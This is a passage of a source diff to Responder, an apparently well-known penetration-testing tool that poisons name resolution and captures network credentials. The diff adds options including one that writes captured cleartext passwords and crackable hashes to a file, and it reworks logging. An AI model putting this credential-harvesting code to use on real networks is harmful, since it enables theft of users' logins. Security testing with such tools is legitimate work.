+                        self.request.send(PacketSequence(data, self.client_address[0]))
+
+		except:
+                   	pass
+
+

settings.py

@@ -20,7 +20,7 @@ import subprocess
 
 from utils import *
 
-__version__ = 'Responder 2.3.1'
+__version__ = 'Responder 2.3.2.3'
 
 class Settings:
 	
@@ -147,30 +147,35 @@ class Settings:
 		self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
 
 		# Auto Ignore List
-		self.AutoIgnore                 = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
+		self.AutoIgnore                       = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
-		self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
+		self.CaptureMultipleCredentials       = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
-		self.AutoIgnoreList             = []
+                self.CaptureMultipleHashFromSameHost  = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
+		self.AutoIgnoreList                   = []
 
 		# CLI options
-		self.LM_On_Off       = options.LM_On_Off
+                self.ExternalIP         = options.ExternalIP
-		self.WPAD_On_Off     = options.WPAD_On_Off
+		self.LM_On_Off          = options.LM_On_Off
-		self.Wredirect       = options.Wredirect
+		self.WPAD_On_Off        = options.WPAD_On_Off
-		self.NBTNSDomain     = options.NBTNSDomain
+		self.Wredirect          = options.Wredirect
-		self.Basic           = options.Basic
+		self.NBTNSDomain        = options.NBTNSDomain
-		self.Finger_On_Off   = options.Finger
+		self.Basic              = options.Basic
-		self.Interface       = options.Interface
+		self.Finger_On_Off      = options.Finger
-		self.OURIP           = options.OURIP
+		self.Interface          = options.Interface
-		self.Force_WPAD_Auth = options.Force_WPAD_Auth
+		self.OURIP              = options.OURIP
-		self.Upstream_Proxy  = options.Upstream_Proxy
+		self.Force_WPAD_Auth    = options.Force_WPAD_Auth
-		self.AnalyzeMode     = options.Analyze
+		self.Upstream_Proxy     = options.Upstream_Proxy
-		self.Verbose         = options.Verbose
+		self.AnalyzeMode        = options.Analyze
-		self.CommandLine     = str(sys.argv)
+		self.Verbose            = options.Verbose
+		self.ProxyAuth_On_Off   = options.ProxyAuth_On_Off
+		self.CommandLine        = str(sys.argv)
+
+                if self.ExternalIP:
+                        self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
 
 		if self.HtmlToInject is None:
 			self.HtmlToInject = ''
 
-		self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
+                self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
-
 		self.IP_aton         = socket.inet_aton(self.Bind_To)
 		self.Os_version      = sys.platform
 
@@ -190,18 +195,13 @@ class Settings:
 		logging.warning('Responder Started: %s' % self.CommandLine)
 
 		Formatter = logging.Formatter('%(asctime)s - %(message)s')
-                CLog_Handler = logging.FileHandler(self.ResponderConfigDump, 'a')
 		PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
 		ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
-                CLog_Handler.setLevel(logging.INFO)
 		PLog_Handler.setLevel(logging.INFO)
 		ALog_Handler.setLevel(logging.INFO)
 		PLog_Handler.setFormatter(Formatter)
 		ALog_Handler.setFormatter(Formatter)
 
-		self.ResponderConfigLogger = logging.getLogger('Config Dump Log')
-		self.ResponderConfigLogger.addHandler(CLog_Handler)
-
 		self.PoisonersLogger = logging.getLogger('Poisoners Log')
 		self.PoisonersLogger.addHandler(PLog_Handler)
 
@@ -212,8 +212,8 @@ class Settings:
                 DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
                 RoutingInfo = subprocess.check_output(["netstat", "-rn"])
                 Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
-                self.ResponderConfigLogger.warning(Message)
+                utils.DumpConfig(self.ResponderConfigDump, Message)
-                self.ResponderConfigLogger.warning(str(self))
+                utils.DumpConfig(self.ResponderConfigDump,str(self))
 
 def init():
 	global Config

utils.py

@@ -21,7 +21,11 @@ import logging
 import socket
 import time
 import settings
+import datetime
 
+def HTTPCurrentDate():
+    Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
+    return Date
 try:
 	import sqlite3
 except:
@@ -39,13 +43,12 @@ def color(txt, code = 1, modifier = 0):
 	return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
 
 def text(txt):
+        stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt)
+        logging.info(stripcolors)
 	if os.name == 'nt':
 		return txt
 	return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
 
-def textlogging(txt):
-	logging.info(txt)
-
 def IsOnTheSameSubnet(ip, net):
 	net += '/24'
 	ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
@@ -54,7 +57,6 @@ def IsOnTheSameSubnet(ip, net):
 	mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
 	return (ipaddr & mask) == (netaddr & mask)
 
-
 def RespondToThisIP(ClientIp):
 
 	if ClientIp.startswith('127.0.0.'):
@@ -80,6 +82,12 @@ def RespondToThisName(Name):
 def RespondToThisHost(ClientIp, Name):
 	return RespondToThisIP(ClientIp) and RespondToThisName(Name)
 
+def RespondWithIPAton():
+       if settings.Config.ExternalIP:
+               return settings.Config.ExternalIPAton
+       else:
+               return settings.Config.IP_aton
+
 def OsInterfaceIsSupported():
 	if settings.Config.Interface != "Not set":
 		return not IsOsX()
@@ -122,6 +130,10 @@ def WriteData(outfile, data, user):
 	with open(outfile,"a") as outf2:
 		outf2.write(data + '\n')
 
+# Function used to write debug config and network info.
+def DumpConfig(outfile, data):
+	with open(outfile,"a") as dump:
+		dump.write(data + '\n')
 
 def SaveToDb(result):
 	# Creating the DB if it doesn't exist
@@ -160,34 +172,41 @@ def SaveToDb(result):
 		cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
 		cursor.commit()
 
+        if settings.Config.CaptureMultipleHashFromSameHost:
+		with open(logfile,"a") as outf:
+			if len(result['cleartext']):  # If we obtained cleartext credentials, write them to file
+				outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
+			else:  # Otherwise, write JtR-style hash string to file
+				outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
 
 	if not count or settings.Config.Verbose:  # Print output
 		if len(result['client']):
 			print text("[%s] %s Client   : %s" % (result['module'], result['type'], color(result['client'], 3)))
-                        textlogging("[%s] %s Client   : %s" % (result['module'], result['type'], result['client']))
+
 		if len(result['hostname']):
 			print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
-                        textlogging("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname']))
+
 		if len(result['user']):
 			print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
-                        textlogging("[%s] %s Username : %s" % (result['module'], result['type'], result['user']))
+
 		# Bu order of priority, print cleartext, fullhash, or hash
 		if len(result['cleartext']):
 			print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
-                        textlogging("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext']))
+
 		elif len(result['fullhash']):
 			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
-                        textlogging("[%s] %s Hash     : %s" % (result['module'], result['type'], result['fullhash']))
+
 		elif len(result['hash']):
 			print text("[%s] %s Hash     : %s" % (result['module'], result['type'], color(result['hash'], 3)))
-                        textlogging("[%s] %s Hash     : %s" % (result['module'], result['type'], result['hash']))
+
 		# Appending auto-ignore list if required
 		# Except if this is a machine account's hash
 		if settings.Config.AutoIgnore and not result['user'].endswith('$'):
 			settings.Config.AutoIgnoreList.append(result['client'])
 			print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
 	else:
-		print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
+		print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
+		text('[*] Skipping previously captured hash for %s' % result['user'])
 		cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
 		cursor.commit()
 	cursor.close()
@@ -262,6 +281,7 @@ def StartupMessage():
 	print '    %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
 	print '    %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
 	print '    %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
+	print '    %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)
 	print '    %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
 	print '    %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
 	print '    %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
@@ -306,40 +326,3 @@ def StartupMessage():
 		print '    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
 	print "\n\n"
 
-
-# Useful for debugging
-def hexdump(src, l=0x16):
-	res = []
-	sep = '.'
-	src = str(src)
-
-	for i in range(0, len(src), l):
-		s = src[i:i+l]
-		hexa = ''
-
-		for h in range(0,len(s)):
-			if h == l/2:
-				hexa += ' '
-			h = s[h]
-			if not isinstance(h, int):
-				h = ord(h)
-			h = hex(h).replace('0x','')
-			if len(h) == 1:
-				h = '0'+h
-			hexa += h + ' '
-
-		hexa = hexa.strip(' ')
-		text = ''
-
-		for c in s:
-			if not isinstance(c, int):
-				c = ord(c)
-
-			if 0x20 <= c < 0x7F:
-				text += chr(c)
-			else:
-				text += sep
-
-		res.append(('%08X:  %-'+str(l*(2+1)+1)+'s  |%s|') % (i, hexa, text))
-
-	return '\n'.join(res)